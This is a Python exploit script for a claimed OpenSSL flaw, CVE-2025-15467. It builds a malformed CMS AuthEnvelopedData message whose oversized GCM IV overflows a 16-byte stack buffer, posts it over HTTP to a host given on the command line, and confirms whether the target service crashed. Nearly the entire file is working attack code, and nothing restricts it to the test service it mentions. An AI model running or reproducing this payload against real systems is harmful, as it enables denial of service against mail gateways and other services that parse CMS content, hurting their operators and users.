#!/usr/bin/env python3 """ CVE-2025-15467 Denial of Service Exploit Sends malformed CMS AuthEnvelopedData with oversized IV to crash vulnerable OpenSSL services. Target must be a service that parses CMS/PKCS#7 content (e.g., S/MIME gateway, our vulnerable test service, etc.) Usage: python3 cve_2025_15467_dos.py [--endpoint /cms] Exit codes: 0 - Target crashed (DoS successful) 1 - Target did not crash 2 - Connection error """ import argparse import socket import sys import time def encode_length(length: int) -> bytes: """Encode ASN.1 DER length.""" if length < 128: return bytes([length]) elif length < 256: return bytes([0x81, length]) elif length < 65536: return bytes([0x82, (length >> 8) & 0xff, length & 0xff]) else: return bytes([0x83, (length >> 16) & 0xff, (length >> 8) & 0xff, length & 0xff]) def encode_tlv(tag: int, value: bytes) -> bytes: """Encode ASN.1 TLV.""" return bytes([tag]) + encode_length(len(value)) + value def encode_integer(value: int) -> bytes: """Encode ASN.1 INTEGER.""" if value == 0: return encode_tlv(0x02, b'\x00') result = [] temp = value while temp: result.append(temp & 0xff) temp >>= 8 result.reverse() if result[0] & 0x80: result.insert(0, 0) return encode_tlv(0x02, bytes(result)) def encode_octet_string(data: bytes) -> bytes: """Encode ASN.1 OCTET STRING.""" return encode_tlv(0x04, data) def encode_sequence(contents: bytes) -> bytes: """Encode ASN.1 SEQUENCE.""" return encode_tlv(0x30, contents) def encode_oid(oid: str) -> bytes: """Encode ASN.1 OID.""" parts = [int(x) for x in oid.split('.')] result = [parts[0] * 40 + parts[1]] for part in parts[2:]: if part == 0: result.append(0) else: encoded = [] temp = part while temp: encoded.append(temp & 0x7f) temp >>= 7 encoded.reverse() for i in range(len(encoded) - 1): encoded[i] |= 0x80 result.extend(encoded) return encode_tlv(0x06, bytes(result)) def create_dos_payload(iv_size: int = 512) -> bytes: """ Create malformed CMS AuthEnvelopedData that triggers stack buffer overflow. The vulnerability is in evp_cipher_get_asn1_aead_params() which copies the IV from GCMParameters into a 16-byte stack buffer without bounds checking. """ OID_AUTHENVELOPED = "1.2.840.113549.1.9.16.1.23" OID_AES_256_GCM = "2.16.840.1.101.3.4.1.46" OID_DATA = "1.2.840.113549.1.7.1" OID_RSA = "1.2.840.113549.1.1.1" # PAYLOAD: Oversized IV causes stack buffer overflow # EVP_MAX_IV_LENGTH is 16, we send much more overflow_iv = b'A' * iv_size # GCMParameters ::= SEQUENCE { nonce OCTET STRING, icvlen INTEGER } gcm_params = encode_sequence( encode_octet_string(overflow_iv) + encode_integer(16) ) # ContentEncryptionAlgorithmIdentifier content_enc_alg = encode_sequence( encode_oid(OID_AES_256_GCM) + gcm_params ) # Dummy encrypted content encrypted_content = b'\x00' * 32 # EncryptedContentInfo encrypted_content_info = encode_sequence( encode_oid(OID_DATA) + content_enc_alg + encode_tlv(0x80, encrypted_content) ) # Minimal RecipientInfo issuer_serial = encode_sequence( encode_sequence(b'') + encode_integer(1) ) key_trans = encode_sequence( encode_integer(0) + issuer_serial + encode_sequence(encode_oid(OID_RSA) + encode_tlv(0x05, b'')) + encode_octet_string(b'\x00' * 256) ) recipient_infos = encode_tlv(0x31, key_trans) # MAC mac = encode_octet_string(b'\x00' * 16) # AuthEnvelopedData auth_env_data = encode_sequence( encode_integer(0) + recipient_infos + encrypted_content_info + mac ) # ContentInfo content_info = encode_sequence( encode_oid(OID_AUTHENVELOPED) + encode_tlv(0xA0, auth_env_data) ) return content_info def send_http_payload(host: str, port: int, endpoint: str, payload: bytes, timeout: float = 10.0) -> dict: """Send payload via HTTP POST.""" result = { 'connected': False, 'sent': False, 'response': None, 'crashed': False, 'error': None } try: sock = socket.create_connection((host, port), timeout=timeout) result['connected'] = True # Build HTTP request request = ( f"POST {endpoint} HTTP/1.1\r\n" f"Host: {host}\r\n" f"Content-Type: application/cms\r\n" f"Content-Length: {len(payload)}\r\n" f"Connection: close\r\n" f"\r\n" ).encode() + payload sock.send(request) result['sent'] = True # Try to read response sock.settimeout(5.0) try: response = sock.recv(4096) result['response'] = response.decode('utf-8', errors='ignore') except socket.timeout: result['crashed'] = True result['error'] = "Server timeout (likely crashed)" except ConnectionResetError: result['crashed'] = True result['error'] = "Connection reset by peer (server crashed)" except BrokenPipeError: result['crashed'] = True result['error'] = "Broken pipe (server crashed)" sock.close() except ConnectionRefusedError: result['error'] = "Connection refused" except socket.timeout: result['error'] = "Connection timeout" except Exception as e: result['error'] = str(e) return result def verify_service_down(host: str, port: int, timeout: float = 3.0) -> bool: """Check if service is still responding.""" try: sock = socket.create_connection((host, port), timeout=timeout) sock.send(b"GET /health HTTP/1.1\r\nHost: x\r\n\r\n") sock.settimeout(2.0) response = sock.recv(1024) sock.close() return False # Service is up except: return True # Service is down def main(): parser = argparse.ArgumentParser( description='CVE-2025-15467 DoS Exploit', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: %(prog)s 192.168.1.100 8080 %(prog)s localhost 8080 --endpoint /parse-cms %(prog)s target.local 8080 --iv-size 1024 Target Requirements: The target service must parse CMS/PKCS#7 content. Use the vulnerable_cms_service for testing. """ ) parser.add_argument('host', help='Target host') parser.add_argument('port', type=int, help='Target port') parser.add_argument('--endpoint', default='/cms', help='HTTP endpoint (default: /cms)') parser.add_argument('--iv-size', type=int, default=512, help='Overflow IV size (default: 512)') parser.add_argument('--timeout', type=float, default=10.0, help='Timeout in seconds') parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output') args = parser.parse_args() print("=" * 60) print("CVE-2025-15467 Denial of Service Exploit") print("Stack Buffer Overflow in CMS AuthEnvelopedData") print("=" * 60) print() print(f"Target: {args.host}:{args.port}") print(f"Endpoint: {args.endpoint}") print(f"IV Size: {args.iv_size} bytes (buffer is 16 bytes)") print() # Create payload print("[*] Creating malformed CMS payload...") payload = create_dos_payload(args.iv_size) print(f"[*] Payload size: {len(payload)} bytes") if args.verbose: print(f"[*] Payload hex (first 64 bytes): {payload[:64].hex()}") # Check if service is up first print("[*] Checking if service is responding...") if verify_service_down(args.host, args.port): print("[-] Service is not responding. Is it running?") return 2 print("[+] Service is up") print() # Send exploit print("[*] Sending malformed CMS to trigger overflow...") result = send_http_payload(args.host, args.port, args.endpoint, payload, args.timeout) if not result['connected']: print(f"[-] Failed to connect: {result['error']}") return 2 if not result['sent']: print(f"[-] Failed to send payload: {result['error']}") return 2 print("[*] Payload sent") if result['crashed']: print(f"[+] {result['error']}") elif result['response']: if args.verbose: print(f"[*] Response: {result['response'][:200]}") if '200' in result['response']: print("[*] Server returned 200 - checking if still alive...") elif '400' in result['response'] or '500' in result['response']: print("[*] Server returned error - checking if still alive...") # Verify service crashed print() print("[*] Verifying service status...") time.sleep(1) if verify_service_down(args.host, args.port): print() print("=" * 60) print("[+] SUCCESS: SERVICE CRASHED!") print("=" * 60) print() print("The service is no longer responding.") print("CVE-2025-15467 DoS confirmed.") return 0 else: print() print("=" * 60) print("[-] Service is still responding") print("=" * 60) print() print("Possible reasons:") print(" - Service may be patched") print(" - Endpoint may not parse CMS") print(" - Service may have crash recovery") return 1 if __name__ == '__main__': sys.exit(main())